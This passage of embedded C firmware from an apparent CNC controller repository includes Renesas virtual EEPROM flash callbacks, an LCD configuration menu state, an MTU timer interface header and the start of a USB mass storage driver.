FlashError();\n \n return;\n \n } \n }\n else\n {\n /* The record has been written, if we were just writing one record then we are done. If a defrag is occurring \n then there could be more records to move. */\n if( g_vee_state == VEE_DEFRAG )\n {\n /* Update g_vee_current_record for next record */\n g_vee_current_record.ID++;\n \n /* See if anything else needs to be done */\n vee_defrag_block(g_vee_current_sector, g_vee_current_block_active, g_vee_current_block_nextup);\n }\n else if( (g_vee_state == VEE_ERASING) || \n (g_vee_state == VEE_ERASE_AND_DEFRAG) ||\n (g_vee_state == VEE_ERASE_AND_WRITE) )\n {\n /* ERASING flag has been written, start erase */\n if( R_FlashErase(g_vee_erase_block_end) != FLASH_SUCCESS )\n { \n /* Something failed in the FlashAPI */\n FlashError();\n } \n } \n else\n {\n /* Release State */\n g_vee_state = VEE_READY;\n \n #ifdef VEE_CALLBACK_FUNCTION\n /* Call user's callback function */\n VEE_CALLBACK_FUNCTION();\n #endif\n }\n }\n}\n/***********************************************************************************************************************\nEnd of function FlashWriteDone\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: FlashBlankCheckDone\n* Description : Callback function from FlashAPI that signifies that the requested blank check has finished. This \n* function is called from an interrupt.\n* Arguments : result - \n* FLASH_BLANK if block was blank \n* FLASH_NOT_BLANK if it was not\n* Return Value : none\n***********************************************************************************************************************/\nvoid FlashBlankCheckDone (uint8_t result)\n{\n /* Used for checking return value. */\n uint8_t ret;\n\n /* Check to see if we have checked all blocks, if the last block was not blank then it does not matter anyways. */\n if( result == FLASH_BLANK )\n { \n /* Last block checked was blank, do we have more to check? */\n if( g_vee_blank_check_block_current != g_vee_blank_check_block_end )\n {\n /* Advance to next block to check */\n g_vee_blank_check_block_current++;\n \n /* Check next block */\n if( VEE_SUCCESS != vee_blank_check_block(g_vee_blank_check_block_current))\n {\n /* Flash Error */\n FlashError();\n }\n \n /* Wait for this blank check to finish */\n return;\n }\n else\n {\n /* All blocks were confirmed blank */\n if( g_vee_state == VEE_WRITING )\n {\n /* In this state we are about to make a block ACTIVE */\n /* Make first block ACTIVE */\n if( VEE_SUCCESS == vee_write_flag( g_vee_current_sector, \n 0,\n VEE_BLOCK_STATE_ACTIVE, \n VEE_BLOCK_FLAG_ACTIVE) )\n {\n /* Write record after this */\n g_vee_write_state = VEE_WRITE_ID;\n \n /* Set up next address cache */\n g_vee_next_address[g_vee_current_sector].address = (uint8_t far *)\n g_vee_Sectors[g_vee_current_sector].VEE_block_addr[0] + \n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t));\n g_vee_next_address[g_vee_current_sector].block = 0;\n g_vee_next_address[g_vee_current_sector].valid = VEE_CACHE_ENTRY_VALID; \n \n /* Writing state flag */\n return; \n }\n else\n {\n /* Problem with Flash API */\n FlashError();\n }\n }\n else if( (g_vee_state == VEE_DEFRAG) ||\n (g_vee_state == VEE_WRITE_AND_DEFRAG) )\n {\n /* NEXTUP block is blank */ \n /* Write FULL flag in current ACTIVE */\n ret = vee_write_flag(g_vee_current_sector, \n g_vee_current_block_active,\n VEE_BLOCK_STATE_FULL,\n VEE_BLOCK_FLAG_FULL);\n \n /* Check outcome of writing FULL flag. */\n if (VEE_SUCCESS == ret)\n {\n /* Flag is being written. */\n /* Next time in we will write the NEXTUP flag */\n g_vee_write_state = VEE_WRITE_FLAG_NEXTUP; \n }\n else if (VEE_BUSY == ret)\n {\n /* Flag was already written. Since Flash API will not be calling FlashWriteDone(), we must set the \n state and call it as if the Flash API did. */\n g_vee_write_state = VEE_WRITE_FLAG_NEXTUP;\n \n /* Call FlashWriteDone() as Flash API would have. */\n FlashWriteDone();\n }\n else\n {\n /* Error in writing FULL flag */\n FlashError();\n } \n }\n else\n {\n /* Error should never get here */\n FlashError();\n }\n }\n }\n else\n {\n /* Block was found to be not blank, erase sector */\n if( g_vee_state == VEE_WRITING )\n { \n /* Set state to erase and write so that record can be written after erase */\n g_vee_state = VEE_ERASE_AND_WRITE;\n \n /* Sector had no ACTIVE blocks but block 0 was not empty, erase it */ \n vee_erase_block(g_vee_current_sector, 0);\n \n return;\n }\n else if( g_vee_state == VEE_DEFRAG)\n {\n /* NEXTUP block needs to be erased before defrag can occur */\n if( VEE_SUCCESS != vee_erase_and_defrag(g_vee_current_sector, \n g_vee_current_block_active, \n g_vee_current_block_nextup) )\n {\n /* Flash Error */\n FlashError();\n }\n \n /* Erase started */\n return;\n }\n else if(g_vee_state == VEE_WRITE_AND_DEFRAG)\n {\n /* NEXTUP block needs to be erased before we can write record, and then defrag */\n if( VEE_SUCCESS != vee_erase_block(g_vee_current_sector, g_vee_current_block_nextup) )\n {\n /* Problem with erase */\n FlashError();\n }\n \n /* Erase started */\n return;\n }\n else\n {\n /* Error should never get here */\n FlashError();\n }\n \n } \n}\n/***********************************************************************************************************************\nEnd of function FlashBlankCheckDone\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_GetVersion\n* Description : Returns the current version of this module. The version number is encoded where the top 2 bytes are the\n* major version number and the bottom 2 bytes are the minor version number. For example, Version 4.25 \n* would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n***********************************************************************************************************************/\nuint32_t R_VEE_GetVersion (void)\n{\n /* These version macros are defined in r_vee_if.h. */\n return ((((uint32_t)VEE_VERSION_MAJOR) << 16) | (uint32_t)VEE_VERSION_MINOR);\n} \n/***********************************************************************************************************************\nEnd of function R_VEE_GetVersion\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_check_input_record\n* Description : Check an input record to make sure its data is valid.\n* Arguments : vee_temp - \n* Structure with record information\n* read_operation -\n* Is this a read or write operation. Checking differs for each.\n* Return Value : VEE_SUCCESS - \n* Successful, record appears okay\n* VEE_INVALID_INPUT -\n* Failure, record has invalid data\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_check_input_record (vee_record_t * vee_temp, bool read_operation)\n{\n uint8_t ret;\n\n ret = VEE_SUCCESS;\n\n if (vee_temp->ID >= VEE_MAX_RECORD_ID)\n {\n /* Invalid record ID. */\n ret = VEE_FAILURE;\n }\n\n if ((read_operation == false) && (vee_temp->size == 0))\n {\n /* Must write at least 1 byte. */\n ret = VEE_FAILURE;\n }\n\n return ret;\n} \n/***********************************************************************************************************************\nEnd of function vee_check_input_record\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_check_input_sector\n* Description : Check an input sector number to make sure it is valid\n* Arguments : sector - \n* Sector number to use.\n* Return Value : VEE_SUCCESS - \n* Successful, valid sector number\n* VEE_INVALID_INPUT -\n* Failure, invalid sector number\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_check_input_sector (uint8_t sector)\n{\n uint8_t ret;\n\n ret = VEE_SUCCESS;\n\n if (sector >= VEE_NUM_SECTORS)\n {\n ret = VEE_INVALID_INPUT;\n }\n\n return ret;\n} \n/***********************************************************************************************************************\nEnd of function vee_check_input_sector\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Control\n* Description : Performs various VEE tasks based on input command and data.\n* Arguments : command -\n* Command to be processed.\n* pdata - \n* Pointer to send data in, output data, or both.\n* Return Value : VEE_SUCCESS -\n* Successful, command processed.\n* VEE_BUSY - \n* Data flash is busy, try again later\n* VEE_INVALID_INPUT -\n* Command not supported or bad input data.\n***********************************************************************************************************************/\nuint8_t R_VEE_Control (vee_command_t command, void * pdata)\n{\n uint8_t ret;\n\n ret = VEE_SUCCESS;\n\n switch (command)\n {\n case VEE_CMD_RESET:\n /* Reset the VEE to a working state. This assumes that the FCU has already been reset. If using the Flash \n API then it will reset itself when a flash error is detected. */\n /* VEE_RESET has priority in taking state, but there may already be another task that is inside the \n vee_grab_state function so we have to make sure we have sole access. */\n if( vee_grab_state(VEE_RESET) != VEE_SUCCESS )\n {\n /* Could not acquire state */\n return VEE_BUSY;\n }\n\n /* Reset VEE. */\n vee_reset();\n\n g_vee_state = VEE_READY;\n break;\n default:\n /* Input command not supported. */\n ret = VEE_INVALID_INPUT;\n break;\n }\n\n return ret;\n} \n/***********************************************************************************************************************\nEnd of function R_VEE_GetVersion\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_invalidate_cache\n* Description : Invalidates the record cache for a given sector\n* Arguments : sector - \n* Sector number to use.\n* Return Value : VEE_SUCCESS - \n* Successful, cache is now marked as invalid\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_invalidate_cache (uint8_t sector)\n{\n uint8_t ret;\n uint32_t i;\n\n ret = VEE_SUCCESS;\n\n /* Invalidate next address structure. */\n g_vee_next_address[sector].valid = VEE_CACHE_ENTRY_INVALID;\n\n /* Invalidate cache entries for this sector. */\n g_vee_cache.valid = VEE_CACHE_ENTRY_INVALID;\n \n for (i = 0; i < VEE_MAX_RECORD_ID; i++)\n {\n /* See if this record is in this sector */\n if (g_vee_RecordLocations[i] == sector)\n {\n g_vee_cache.entries[i].valid = VEE_CACHE_ENTRY_INVALID;\n }\n }\n\n return ret;\n} \n/***********************************************************************************************************************\nEnd of function vee_invalidate_cache\n***********************************************************************************************************************/\n\n\n" }, { "alpha_fraction": 0.6575659513473511, "alphanum_fraction": 0.6654326915740967, "avg_line_length": 19.98058319091797, "blob_id": "31055f9b2afaf6b2d518414afae89b111f7d9aeb", "content_id": "274046f5c2d2c43b6450a4774fd9440ca374bff8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2161, "license_type": "no_license", "max_line_length": 69, "num_lines": 103, "path": "/src/states/ut_state_config_maq_thc.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"eeprom.h\"\n#include \"config_thc_maquina.h\"\n\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\nstatic bool initialized = false;\nstatic const char* gszConfigMenuTitle = \"PAR. DO THC\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CFG_THC_MAX; i++)\n\t\t{\n\t\t\tconfigsTh[i].name = th_init_names[i];\n\t\t}\n\t\treturn;\n\t}\n\n\t/* Zero all values */\n\tmemset(configsTh, 0, sizeof(configsTh));\n\n\t/* Initialize all variables */\n\tfor(i = 0; i < CFG_THC_MAX; i++)\n\t{\n\t\tconfigsTh[i].type = th_init_types[i];\n\t\tconfigsTh[i].valueMax = th_init_max[i];\n\t\tconfigsTh[i].valueMin = th_init_min[i];\n\t\tconfigsTh[i].name = th_init_names[i];\n\t\tconfigsTh[i].unit = th_init_unit[i];\n\t\tconfigsTh[i].step = th_init_step[i];\n\t\tconfigsTh[i].point = th_init_point[i];\n\t\tconfigsTh[i].currentState = STATE_CONFIG_MAQUINA_THC;\n\t\tconfigsTh[i].currentItem = i;\n\t}\n\tconfigsTh[0].value = &configFlags[KERF];\n\tconfigsTh[1].value = &configFlags[MERGULHO];\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_maq_thc(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n//\tconfig_menu.offset = 1;\n\t/* Items */\n\tfor(i = 0; i < CFG_THC_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configsTh[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\n\t/* Set selected item */\n\tpContext->value[0] = STATE_CONFIG_MAQUINA_THC;\n\tconfigsVar = &configsTh[config_menu.selectedItem];\n\treturn geNextStateTh[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.5701653361320496, "alphanum_fraction": 0.584006130695343, "avg_line_length": 44.495628356933594, "blob_id": "7464695dd79d41e95c73683d195128b7d610b5f7", "content_id": "08335843ecdac0bbff6d3a39b7c2b0b6ed10ac06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15606, "license_type": "no_license", "max_line_length": 120, "num_lines": 343, "path": "/r_mtu_rx/r_mtu_rx_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_rx_if.h\n* Description : .\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 23.09.2014 1.00 First Release\n***********************************************************************************************************************/\n\n#ifndef MTU_RX_IF\n#define MTU_RX_IF\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* User configurable options for the MTU timer code */\n#include \"platform.h\"\n#include \"r_mtu_rx_config.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n\n/* Defined here for use in configuration file. */\n#define MTU_FILTER_PCLK_DIV_1 (0x00) // PCLK/1\n#define MTU_FILTER_PCLK_DIV_8 (0x10) // PCLK/8\n#define MTU_FILTER_PCLK_DIV_32 (0x20) // PCLK/32\n#define MTU_FILTER_PCLK_EXTERNAL (0x30) // The clock source for counting is the external clock.\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n/* Enumeration of MTU channel numbers. */\ntypedef enum\n{\n MTU_CHANNEL_0 = 0,\n MTU_CHANNEL_1,\n MTU_CHANNEL_2,\n #ifndef BSP_MCU_RX110 // RX110 has only channels 0, 1, 2.\n MTU_CHANNEL_3,\n MTU_CHANNEL_4,\n #endif\n MTU_CHANNEL_MAX\n} mtu_channel_t;\n\n/* Clocking source selections. Index into register settings table. */\ntypedef enum mtu_clk_sources_e\n{\n MTU_CLK_SRC_EXT_MTCLKA = 0x00, // External clock input on MTCLKA pin\n MTU_CLK_SRC_EXT_MTCLKB = 0x01, // External clock input on MTCLKB pin\n MTU_CLK_SRC_EXT_MTCLKC = 0x02, // External clock input on MTCLKC pin\n MTU_CLK_SRC_EXT_MTCLKD = 0x03, // External clock input on MTCLKD pin\n MTU_CLK_SRC_CASCADE = 0x04, // Clock by overflow from other channel counter. (only on certain channels)\n MTU_CLK_SRC_INTERNAL // Use internal clock (PCLK)\n} mtu_clk_sources_t;\n\n/* The possible return codes from the API functions. */\ntypedef enum mtu_pwm_err_e\n{\n MTU_SUCCESS = 0,\n MTU_ERR_BAD_CHAN, // Invalid channel number.\n MTU_ERR_CH_NOT_OPENED, // Channel not yet opened.\n MTU_ERR_CH_NOT_CLOSED, // Channel still open from previous open.\n MTU_ERR_UNKNOWN_CMD, // Control command is not recognized.\n MTU_ERR_INVALID_ARG, // Argument is not valid for parameter.\n MTU_ERR_ARG_RANGE, // Argument is out of range for parameter.\n MTU_ERR_NULL_PTR, // Received null pointer; missing required argument.\n MTU_ERR_LOCK, // The lock procedure failed.\n MTU_ERR_UNDEF // Undefined/unknown error\n} mtu_err_t;\n\n/* The possible settings for MTU output pins. Register setting values. */\ntypedef enum mtu_output_states_e\n{\n MTU_PIN_NO_OUTPUT = 0x0, // Output high impedance.\n MTU_PIN_LO_GOLO = 0x1, // Initial output is low. Low output at compare match.\n MTU_PIN_LO_GOHI = 0x2, // Initial output is low. High output at compare match.\n MTU_PIN_LO_TOGGLE = 0x3, // Initial output is low. Toggle (alternate) output at compare match.\n MTU_PIN_HI_GOLO = 0x5, // Initial output is high. Low output at compare match.\n MTU_PIN_HI_GOHI = 0x6, // Initial output is high. High output at compare match.\n MTU_PIN_HI_TOGGLE = 0x7 // Initial output is high. Toggle (alternate) output at compare match.\n} mtu_output_states_t;\n\n/* The possible settings for counting clock active edge. Register setting values. */\ntypedef enum mtu_clk_edges_e\n{\n MTU_CLK_RISING_EDGE = 0x00,\n MTU_CLK_FALLING_EDGE = 0x08,\n MTU_CLK_ANY_EDGE = 0x10,\n} mtu_clk_edges_t;\n\n/* The possible counter clearing source selections. Index into register settings table. */\ntypedef enum mtu_clear_src_e\n{\n MTU_CLR_TIMER_A = 0, // Clear the channel counter on the \"A\" compare or capture event.\n MTU_CLR_TIMER_B, // Clear the channel counter on the \"B\" compare or capture event.\n MTU_CLR_TIMER_C, // Clear the channel counter on the \"C\" compare or capture event.\n MTU_CLR_TIMER_D, // Clear the channel counter on the \"D\" compare or capture event.\n MTU_CLR_SYNC, // Clear the channel counter when another sync'ed channel clears.\n MTU_CLR_DISABLED // Never clear the channel counter.\n} mtu_clear_src_t;\n\n/* PCLK divisor for internal clocking source. Index into register settings table. */\ntypedef enum mtu_pclk_divisor_e\n{\n MTU_SRC_CLK_DIV_1 = 0, // PCLK/1\n MTU_SRC_CLK_DIV_4, // PCLK/4\n MTU_SRC_CLK_DIV_16, // PCLK/16\n MTU_SRC_CLK_DIV_64, // PCLK/64\n MTU_SRC_CLK_DIV_256, // PCLK/256\n MTU_SRC_CLK_DIV_1024 // PCLK/1024\n} mtu_src_clk_divisor_t;\n\n/* Actions to be done upon timer or capture event. Multiple selections to be ORed together. */\ntypedef enum mtu_actions_e\n{\n MTU_ACTION_NONE = 0x00, // Do nothing with this timer.\n MTU_ACTION_OUTPUT = 0x01, // Change state of output pin.\n MTU_ACTION_INTERRUPT = 0x02, // Generate interrupt request.\n MTU_ACTION_CALLBACK = 0x04, // Generate interrupt request and execute user-defined callback on interrupt.\n MTU_ACTION_REPEAT = 0x10, // Continuously repeat the timer cycle and actions\n MTU_ACTION_TRIGGER_ADC = 0x20, // Trigger ADC on this event. Timer A events only.\n MTU_ACTION_CAPTURE = 0x40, // Default input capture action. Placeholder value, does not to be specified.\n} mtu_actions_t;\n\n\n/************ Type defines used with the R_MTU_Control function. ***************/\n/* Control function command codes. */\ntypedef enum mtu_cmd_e\n{\n MTU_CMD_START, // Activate clocking\n MTU_CMD_STOP, // Pause clocking\n MTU_CMD_SAFE_STOP, // Stop clocking and set outputs to safe state\n MTU_CMD_RESTART, // Zero the counter then resume clocking\n MTU_CMD_SYNCHRONIZE, // Specify channels to group for synchronized clearing.\n MTU_CMD_GET_STATUS, // Retrieve the current status of the channel\n MTU_CMD_CLEAR_EVENTS, // Clears the interrupt flags for the channel\n MTU_CMD_SET_CAPT_EDGE, // Sets the detection edge polarity for input capture.\n MTU_CMD_UNKNOWN // Not a valid command.\n} mtu_cmd_t;\n\n/* Used as bit-field identifiers to identify channels assigned to a group for group operations.\n * Add multiple channels to group by ORing these values together. */\ntypedef enum\n{\n MTU_GRP_CH0 = 0x01,\n MTU_GRP_CH1 = 0x02,\n MTU_GRP_CH2 = 0x04,\n #ifndef BSP_MCU_RX110\n MTU_GRP_CH3 = 0x40,\n MTU_GRP_CH4 = 0x80,\n #endif\n} mtu_group_t;\n\ntypedef struct mtu_timer_status_s\n{\n uint32_t timer_count; // The current channel counter value.\n bool timer_running; // True = timer currently counting, false = counting stopped.\n} mtu_timer_status_t;\n\ntypedef struct mtu_capture_status_s\n{\n uint32_t capt_a_count; // The count at input capture A event.\n uint32_t capt_b_count; // The count at input capture B event.\n uint32_t capt_c_count; // The count at input capture C event.\n uint32_t capt_d_count; // The count at input capture D event.\n uint32_t timer_count; // The current channel counter value.\n uint8_t capture_flags; // 1 if a capture event occurred, 0 if still waiting.\n} mtu_capture_status_t;\n\ntypedef struct mtu_pwm_status_s\n{\n bool running;\n uint16_t pwm_timer_count; // The current channel counter value.\n uint16_t pwm_a_value; // The count at input capture A event.\n uint16_t pwm_b_value; // The count at input capture B event.\n uint16_t pwm_c_value; // The count at input capture C event.\n uint16_t pwm_d_value; // The count at input capture D event.\n} mtu_pwm_status_t;\n\n/************ Type defines used for callback functions. ***************/\n/* Specifies the timer to which an operation is associated. Returned in callback data structure. */\ntypedef enum\n{\n MTU_TIMER_A = 0, //Corresponds to MTU TGRA register operations\n MTU_TIMER_B, //Corresponds to MTU TGRB register operations\n MTU_TIMER_C, //Corresponds to MTU TGRC register operations\n MTU_TIMER_D, //Corresponds to MTU TGRD register operations\n MTU_NUM_TIMERS\n} mtu_timer_num_t;\n\n/************ Type defines used for callback functions. ***************/\n/* Data structure passed to User callback upon pwm interrupt. */\ntypedef struct mtu_callback_data_s\n{\n mtu_channel_t channel;\n mtu_timer_num_t timer_num;\n uint32_t count;\n} mtu_callback_data_t;\n\n\n/************ Type defines used with the R_MTU_Timer_Open and R_MTU_Capture_Open functions. ***************/\ntypedef struct mtu_timer_clk_src_s\n{\n mtu_clk_sources_t source; // Internal clock or external clock input\n mtu_clk_edges_t clock_edge; // Specify the clock active edge.\n} mtu_clk_src_t;\n\n/************ Type defines used with the R_MTU_Capture_Open function. ***************/\ntypedef enum\n{\n MTU_CAP_SRC_A = 0,\n MTU_CAP_SRC_B,\n MTU_CAP_SRC_C,\n MTU_CAP_SRC_D\n} mtu_cap_src_t;\n\n/* The possible settings for input capture signal active edge. Register setting values. */\ntypedef enum mtu_cap_edges_e\n{\n MTU_CAP_RISING_EDGE = 0x08,\n MTU_CAP_FALLING_EDGE = 0x09,\n MTU_CAP_ANY_EDGE = 0x0A,\n} mtu_cap_edges_t;\n\ntypedef struct mtu_capture_set_edge_s // Used with the MTU_TIMER_CMD_SET_CAPT_EDGE command.\n{\n mtu_cap_src_t capture_src; // The capture source.\n mtu_cap_edges_t capture_edge; // Specify transition polarities.\n} mtu_capture_set_edge_t;\n\ntypedef struct mtu_capture_settings_s\n{\n mtu_actions_t actions;\n mtu_cap_edges_t capture_edge; // Specify transition polarities.\n bool filter_enable; // Noise filter on or off.\n} mtu_capture_settings_t;\n\ntypedef struct mtu_capture_chnl_settings_s\n{\n mtu_clk_src_t clock_src; // Specify clocking source.\n mtu_src_clk_divisor_t clock_div; // Internal clock divisor selection.\n mtu_clear_src_t clear_src; // Specify the counter clearing source.\n mtu_capture_settings_t capture_a;\n mtu_capture_settings_t capture_b;\n mtu_capture_settings_t capture_c;\n mtu_capture_settings_t capture_d;\n} mtu_capture_chnl_settings_t;\n\n\n/************ Type defines used with the R_MTU_Timer_Open function. ***************/\ntypedef struct mtu_timer_actions_config_s\n{\n mtu_actions_t do_action; // Various actions that can be done at timer event.\n mtu_output_states_t output; // Output pin transition type when output action is selected.\n} mtu_timer_actions_cfg_t;\n\ntypedef struct mtu_timer_settings_s\n{\n uint32_t freq; // If internal clock source, the desired event frequency, or if external the Compare-match count.\n mtu_timer_actions_cfg_t actions;\n} mtu_timer_settings_t;\n\ntypedef struct mtu_timer_chnl_settings_s\n{\n mtu_clk_src_t clock_src; // Specify clocking source.\n mtu_clear_src_t clear_src; // Specify the counter clearing source.\n mtu_timer_settings_t timer_a;\n mtu_timer_settings_t timer_b;\n mtu_timer_settings_t timer_c;\n mtu_timer_settings_t timer_d;\n} mtu_timer_chnl_settings_t;\n\n\n/************ Type defines used with the R_MTU_PWM_Open function. ***************/\n/* Available PWM operating modes. */\ntypedef enum mtu_pwm_mode_e\n{\n MTU_PWM_MODE_1 = 0x02,\n MTU_PWM_MODE_2 = 0x03\n} mtu_pwm_mode_t;\n\ntypedef struct mtu_pwm_settings_s\n{\n uint16_t duty;\n mtu_actions_t actions;\n mtu_output_states_t outputs; // Specify transition polarities.\n} mtu_pwm_settings_t;\n\ntypedef struct mtu_pwm_chnl_settings_s\n{\n mtu_clk_src_t clock_src; // Specify clocking source.\n uint32_t cycle_freq; // Cycle frequency for the channel\n mtu_clear_src_t clear_src; // Specify the counter clearing source.\n mtu_pwm_mode_t pwm_mode; // Specify mode 1 or mode 2\n mtu_pwm_settings_t pwm_a;\n mtu_pwm_settings_t pwm_b;\n mtu_pwm_settings_t pwm_c;\n mtu_pwm_settings_t pwm_d;\n} mtu_pwm_chnl_settings_t;\n\n/***********************************************************************************************************************\nPublic Functions\n***********************************************************************************************************************/\nmtu_err_t R_MTU_Timer_Open (mtu_channel_t channel,\n mtu_timer_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata));\n\nmtu_err_t R_MTU_Capture_Open (mtu_channel_t channel,\n mtu_capture_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata));\n\nmtu_err_t R_MTU_PWM_Open (mtu_channel_t channel,\n mtu_pwm_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata));\n\nmtu_err_t R_MTU_Control (mtu_channel_t channel,\n mtu_cmd_t cmd,\n void *pcmd_data);\n\nmtu_err_t R_MTU_Close (mtu_channel_t channel);\n\n\nuint32_t R_MTU_GetVersion (void);\n\n#endif /* MTU_TIMER_IF */\n\n" }, { "alpha_fraction": 0.4817787706851959, "alphanum_fraction": 0.4931710660457611, "avg_line_length": 38.111392974853516, "blob_id": "a288466680534cf0ede295b9d45fa3b4ccb0f733", "content_id": "52ac44bd9af85634423781b7132c91cc28151972", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15449, "license_type": "no_license", "max_line_length": 120, "num_lines": 395, "path": "/r_usb_hmsc/src/r_usb_hstorage_driver_api.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hstorage_driver.c\n* Description : USB sample data declaration\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"queue.h\"\n#include \"config_kernel.h\"\n#endif\n\n\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver */\n#include \"r_usb_hmsc_extern.h\" /* MSC global definition */\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n\n/******************************************************************************\nRenesas Abstracted Peripheral Driver functions\n******************************************************************************/\n/* Call-back function for read/write completion */\nextern void R_tfat_disk_read_write_complete(USB_CLSINFO_t *mess);\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgTaskOpen\nDescription : Storage task open\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_StrgTaskOpen(USB_UTR_t *ptr)\n{\n uint16_t i;\n\n USB_PRINTF0(\"*** Install Host MS device driver ***\\n\");\n 